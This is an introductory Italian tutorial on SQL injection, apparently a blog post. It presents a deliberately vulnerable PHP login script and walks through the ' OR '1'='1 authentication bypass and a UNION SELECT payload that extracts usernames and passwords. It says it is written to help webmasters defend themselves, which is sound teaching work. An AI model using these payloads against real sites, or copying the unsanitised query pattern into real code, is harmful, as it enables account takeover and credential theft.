Le SQL injections insieme al XSS vengono considerate “le minacce del futuro” considerando che tutte le applicazioni si stanno “trasferendo” sul web vedi ad esempio “Google Documents” o tutte le webmail esistenti. Sui blog se ne parla in continuazione si leggono cose come “Scoperta SQL injection per joomla, migliaia di siti a rischio” quindi cerchiamo di capire cosa sono e come andrebbero usate, uso andrebbero perchè io ho scritto questo articolo per far si che i webmaster alle prime armi si DIFENDANO dalle SQL injection e non per istigare a defacciare qualche lamerozzo. Siamo abitualti a vedere le SQL injection in questo modo :



UNION+SELECT+0,concat(username,0x3a,user_password),0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+users+

E in realtà non sono altro che del codice SQL “Inserito” nella query di un sito per mezzo, di solito di una variabile non controllata, esaminiamo questo codice PHP


<form action='login.php' method='GET'>

User <input type='text' name='user'><br />

Pass <input type='text' name='pass'></form>


e in login.php


...

$user = $_GET['user'];

$pass = $_GET['pass'];

$query = “SELECT * FROM users WHERE user='$user' AND pass='$pass'”

$ris = mysql_query($query,$db_header);

if (mysql_fetch_array($ris){ echo “Login OK”; } else { “Login NON ok”; }


Ho tralasciato la connessione al database per comodità.

Analizziamo questo codice vulnerabile ad attacchi di SQL injection : c'è un form HTML che invia i dati con GET al file login.php che si connette al database mysql (...) e esegue questa query:


SELECT * FROM users WHERE user='$user' AND pass='$pass'


Ragioniamo su questa query, se l'utente esiste restituisce il nome utente e la password, fino qui tutto normale, peccato che ci sia una cosa che è stata (volontariamente) tralasciata,la possibilità di SQL injection appunto. Come ho già detto si tratta di inserire del codice “maligno” nella query, come? Ovvio attraverso le variabili $user e $pass, scommetto che ci eravate arrivati!

Cosa succede se inserisco un apice(') nella variabile $user? Posso inserire del codice SQL, vediamo:


Visualizzando login.php?user=ciaociao' OR '1'='1 , che query viene eseguita? Questa:


SELECT * FROM users WHERE user='ciaociao' OR '1'='1' AND pass='$pass'


Quindi lascia entrare se l'utente è ciaociao OPPURE '1'='1', comincia a farsi interessante vero la cosa? A questo punto sostituiamo quella stringa anche alla variabile pass e otteniamo una query cosi:


SELECT * FROM users WHERE user='ciaociao' OR '1'='1' AND pass='ciaociao' OR '1'='1'


Accesso autorizzato perchè user deve essere uguale a ciaociao o 1=1 e la pass uguale a ciaociao o 1=1, pauroso vero?


Questa è solo una guida base tratterò più dettagliatamente questo argomento, Galatolo Federico.